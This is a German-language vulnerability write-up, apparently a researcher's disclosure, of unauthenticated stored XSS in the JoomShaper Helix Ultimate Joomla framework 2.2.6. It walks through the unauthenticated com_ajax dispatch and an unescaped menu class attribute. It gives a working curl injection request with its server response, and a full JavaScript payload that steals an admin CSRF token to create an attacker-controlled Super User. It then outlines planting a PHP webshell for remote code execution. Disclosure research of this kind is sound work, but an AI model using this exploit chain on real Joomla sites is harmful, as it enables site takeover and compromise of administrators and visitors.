
Nicht authentifiziertes Stored XSS in Joomla Helix Ultimate (JoomShaper) <= 2.2.6
Dies ist der stärkste Fund in diesem Forschungsordner – KRITISCH, durchgängig vollständig bestätigt. Anders als der reine Lösch-Bug in helix_ultimate_delete_poc.md bietet dieser einen echten, funktionierenden Weg zur vollständigen Kompromittierung der Website.
Komponente: JoomShaper Helix Ultimate Framework (plg_system_helixultimate + Template shaper_helixultimate)
Getestete Version: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD 2026-07)
Autor: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/helixultimate.php::onAjaxHelixultimate() ist ein üblicher Joomla-com_ajax-Plugin-Event-Handler (index.php?option=com_ajax&plugin=helixultimate&format=json&task=<Class.method>). Die Joomla-Kernkomponente com_ajax selbst erzwingt überhaupt keine Authentifizierung – das ist stets die Aufgabe des Plugins. Dieser Handler führt einen beliebigen Dispatch statischer Methoden aus:
public function onAjaxHelixultimate()
{
$task = $input->get('task', '', 'STRING');
$namespace = "HelixUltimate\\Framework\\HttpResponse\\";
$class = "Response";
$classMethod = explode('.', $task);
if (count($classMethod) === 2) { $class = ucfirst($classMethod[0]); $method = $classMethod[1]; }
else { $method = $classMethod[0]; }
$class = $namespace . $class;
// ... class_exists / method_exists checks ...
$response = $class::$method(); // <-- arbitrary no-arg static call, namespace-confined
}
Der Namespace ist festcodiert (HelixUltimate\Framework\HttpResponse\), sodass dies für sich genommen kein vollständig beliebiges RCE-Gadget ist – aber jede einzelne öffentliche statische Methode in src/HttpResponse/Response.php wird für jedermann ohne Authentifizierung und ohne jegliches CSRF-Token aufrufbar. Keine davon ruft Session::checkToken() oder authorise() auf. Dies ist ein völlig anderer, separater Einstiegspunkt als die im Lösch-Write-up behandelte, durch Admin-Rechte abgesicherte Request-/Platform-Klasse – com_ajax umgeht diese Absicherung vollständig.
Response::saveMegaMenuSettings()public static function saveMegaMenuSettings()
{
$input = Factory::getApplication()->input;
$settings = $input->post->get('settings', [], 'ARRAY'); // attacker-controlled, unsanitized values
$itemId = $input->post->get('id', 0, 'INT');
$menu = new SiteMenu;
$item = $menu->getItem($itemId);
$params = $item->getParams();
$params->set('helixultimatemenulayout', \json_encode($settings));
self::updateMenuItem($itemId, $params); // -> $db->updateObject('#__menu', $data, 'id', true)
}
Dies schreibt vom Angreifer kontrolliertes JSON direkt in die params-Spalte eines aktiven, öffentlich sichtbaren Joomla-Menüpunkts – ohne Login, ohne CSRF-Token, mit einer einzigen HTTP-Anfrage.
overrides/mod_menu/default.php (echter, ausgelieferter Template-Code)Das tatsächlich ausgelieferte html/mod_menu/default.php des shaper_helixultimate-Templates ist ein einzeiliger Shim:
require HelixUltimate\Framework\Platform\HTMLOverride::loadTemplate();
das sich (durch Lesen von HTMLOverride.php verifiziert) auf
plugins/system/helixultimate/overrides/mod_menu/default.php auflöst – die Datei, die tatsächlich das Hauptnavigationsmenü der Website auf jeder Seite, für jeden Besucher rendert:
$layout = \json_decode($itemParams->get('helixultimatemenulayout', '') ?? "");
$helixMenuLayout = new Registry($layout);
$customClass = $helixMenuLayout->get('customclass', '');
...
$class .= ' ' . $customClass;
...
echo '<li class="' . $class . '">'; // <-- zero escaping
customclass – ein Schlüssel, den wir über saveMegaMenuSettings() vollständig kontrollieren – wird ohne htmlspecialchars() direkt in ein HTML-Attribut konkateniert.
shaper_helixultimate-Template + Plugin 2.2.6)$ curl -X POST "http://TARGET/index.php?option=com_ajax&plugin=helixultimate&format=json&task=saveMegaMenuSettings" \
--data-urlencode 'settings[customclass]="><script>alert(document.cookie)</script>' \
--data-urlencode "id=101"
{"success":true,"message":null,"messages":null,"data":{"status":true,"data":true}}
Es wurde überhaupt kein CSRF-Token-Feld gesendet – nicht einmal das triviale, von der Startseite abgegriffene Token, das der Lösch-Bug benötigte.
Resultierendes HTML, das jedem nachfolgenden Besucher der Startseite ausgeliefert wird:
<li class="item-101 default current active "><script>alert(document.cookie)</script>"><a href="https://github.com/is4yev/cve-2026-57829/blob/main/index.php" aria-current="page">Home</a></li>
Ein aktives, im Browser ausführbares <script>-Tag, ohne jede Authentifizierung injiziert, gerendert auf der am häufigsten besuchten Seite der Website (der Hauptnavigation, die über die Modulposition auf jeder Seite vorhanden ist, nicht nur auf der Startseite).
Dies ist exakt das Szenario, dem der CVE-2026-48909-Ordner ursprünglich nachjagte, erreicht aus einem völlig anderen Blickwinkel: nicht authentifiziertes Stored XSS + Session-Riding = Kontoübernahme, ohne jemals ein Passwort stehlen oder den Installer brute-forcen zu müssen.
Jeder Administrator, der die öffentliche Startseite der Website in demselben Browser öffnet, in dem er im /administrator angemeldet ist (oder kürzlich war), führt Angreifer-JavaScript mit intaktem Cookie-Vorrat seines Browsers aus. Konzept-Payload (in diesem Labor nicht gegen eine echte Admin-Sitzung ausgeführt – dieses Labor verfügt über keine Browser-Automatisierung, um einen tatsächlich angemeldeten Administrator zu simulieren, der die Seite besucht; die XSS-Auslieferung selbst ist oben zu 100 % bestätigt; dies ist der allgemein bekannte, standardmäßige nächste Schritt):
"><script>
fetch('/administrator/index.php?option=com_users&view=user&layout=edit&id=0', {credentials:'include'})
.then(r => r.text())
.then(html => {
const m = html.match(/name="([a-f0-9]{32})" value="1"/);
if (!m) return;
const token = m[1];
const fd = new FormData();
fd.append('jform[name]', 'sysupdate');
fd.append('jform[username]', 'sysupdate' + Date.now());
fd.append('jform[password]', 'AttackerP@ss123!');
fd.append('jform[password2]', 'AttackerP@ss123!');
fd.append('jform[email]', 'attacker' + Date.now() + '@evil.example');
fd.append('jform[block]', '0');
fd.append('jform[groups][]', '8'); // 8 = Super Users, default Joomla group id
fd.append('task', 'user.save');
fd.append(token, '1');
fetch('/administrator/index.php?option=com_users&task=user.save', {
method: 'POST', credentials: 'include', body: fd
});
});
</script>
Da der Browser das Session-Cookie, das er für die Origin der Website hält, an jede Same-Origin-Anfrage anhängt – unabhängig davon, welcher Tab oder welche Seite das JavaScript ausgelöst hat – gelingt dies, solange das Backend-Session-Cookie des Administrators in diesem Browser beim Betrachten der Frontend-Seite gültig ist. Dadurch wird ein brandneues Super-User-Konto mit vom Angreifer gewählten Zugangsdaten erstellt. Von dort aus: Anmeldung im /administrator, Bearbeiten einer beliebigen Template-Datei (oder Installation einer neuen), um eine PHP-Webshell hinzuzufügen → vollständige RCE.